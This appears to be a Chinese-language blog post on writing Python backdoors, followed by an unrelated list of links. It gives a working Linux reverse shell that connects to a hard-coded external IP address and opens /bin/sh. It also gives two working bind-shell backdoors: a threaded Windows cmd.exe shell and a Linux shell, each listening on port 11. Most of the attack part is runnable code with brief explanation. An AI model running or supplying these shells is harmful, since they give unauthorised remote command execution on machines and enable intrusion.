python正向连接后门
python在linux下的反弹shell代码我相信很多人都见过:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。
那么,本文着重讨论正向连接的shell,特别是windows下的cmdshell。
我们唯一的要求就是交互式。举个例子,我nc连接上后,执行cd xx目录进入某目录,再执行dir能够列出该目录下文件,而不是再开启一个cmd,又列出默认目录下文件。一定要是交互式的,不能是伪交互式。
还有一个测试方式。我们执行set a=1,再执行echo %a%,如果输出的是1,说明是交互式,否则不是交互式。
关于交互式正向连接shell,有几个点需要注意 1.不管在linux还是windows下,想要做到交互式,就只能开启一个shell。不能够每次接收到命令就再开启一个shell进程,然后执行,这样做的效果和os.system('命令')类似,就不用搞这么复杂了。 2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别。 我之前的想法是,python首先新建一个socket监听端口等待连接。客户端连接上以后,就开启一个shell进程,然后把进程的标准输入输出错误(stdin、stdout、stderr)都重定向到管道中,通过管道和python程序连接,py中的subprocess库已为我们封装好了这个功能,我们不用自己再新建管道了。 然后进入一个循环,每次读取一下socket中数据,然后写入stdin中,通过管道传输给shell,shell执行完后,我用stdout.read()将结果读取到,再send给客户端。 想法很单纯很美妙,但实践起来就出问题了。python中read不是异步的,只有读取指定字节或读取到EOF才会返回结果。如果没有EOF那么read就一直读,程序阻塞在这里,于是表现出来就是卡死了。我nc中输入dir,什么返回都没有。只要把python关掉,那边才会返回一个结果。 所以,解决思路有四: 1.如果能知道shell向管道里写入了多少字节数据,我read(n)读取这个字节数据即可 2.如果有异步的read函数,调用也能解决问题 3.实在没办法,可以另开启一个线程,专门读取管道中的数据 4.不使用管道,直接把shell的输入输出定向到socket中。不过在windows下使用总报错,后面再讲。 思路1、2,我是没想到好办法的。没办法知道管道内数据的大小,没找到异步read函数。 我用思路3写出了windows下的正向连接cmdshell:
from socket import *
import subprocess
import os, threading
def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
测试可用,是交互式的:
用了多线程,开启了一个新线程,这个线程专门从stdout中read数据,即使阻塞也不会影响主线程的socket过程。 我用思路4写了一个linux版本,可以完美使用:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
效果:
直接在popen的时候,将新建进程的stdin、stdout、stderr都重定向到socket中。这样就可以不使用管道通信了。这也是C语言下零管道后门的原理。 但不知道为什么,我写了一个windows版本,总是报错:
不太能理解,windows版本就把/bin/sh替换成cmd.exe,但就出这个错。 以上是我对python下正向连接shell的分析,希望能帮到同样有困惑的人,其中纰漏与错误,能得到大家的斧正!
- Java程序员必须掌握的常用Linux命令。
- SAMP论文学习
- IEEE Trans 2009 Stagewise Weak Gradient Pursuits论文学习
- async和enterproxy控制并发数量
- 从零开始写项目终极【维护网站、修复Bug】
- Redis 数据结构与内存管理策略(下)
- Redis 数据结构与内存管理策略(上)
- Servlet第三篇【request和response简介、response的常见应用】
- Java 10的10个新特性,将彻底改变你写代码的方式!
- JDK9新特性实战:简化流关闭新姿势。
- Druid数据库连接池就是这么简单
- 使用 github 做代码管理,知道这些就够了
- 二叉树就这么简单
- Elasticsearch就是这么简单
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ACM-ICPC 2019 山东省省赛 C Wandering Robot
- 数据库SQL语言从入门到精通--Part 2--MySQL安装
- ACM-ICPC 2019 山东省省赛 A Calandar
- POJ 1845-Sumdiv(厉害了这个题)
- 数据库SQL语言从入门到精通--Part 1--SQL语言概述
- DP背包(一)
- 程序员最喜欢用的在线代码编译器,什么?你竟然不知道!可以在网页敲代码,运行调试!
- ZOJ 3623 Battle Ships
- POJ 2955 区间DP必看的括号匹配问题,经典例题
- POJ 3211 Washing Clothes
- 1745 Divisibility
- POJ 3616 Milking Time
- C++面向对象编程类对象的定义
- Codeforce 1102 C. Doors Breaking and Repairing
- CodeForces - 1102B Array K-Coloring